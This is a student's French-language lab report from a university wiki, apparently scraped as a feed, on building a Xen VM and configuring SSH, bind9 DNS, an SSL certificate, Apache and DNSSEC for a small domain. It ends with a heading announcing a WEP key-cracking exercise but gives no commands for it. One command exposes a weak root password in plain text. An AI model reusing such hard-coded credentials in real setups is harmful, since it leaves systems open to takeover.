On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57955</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57955"/>
				<updated>2022-01-12T11:52:11Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
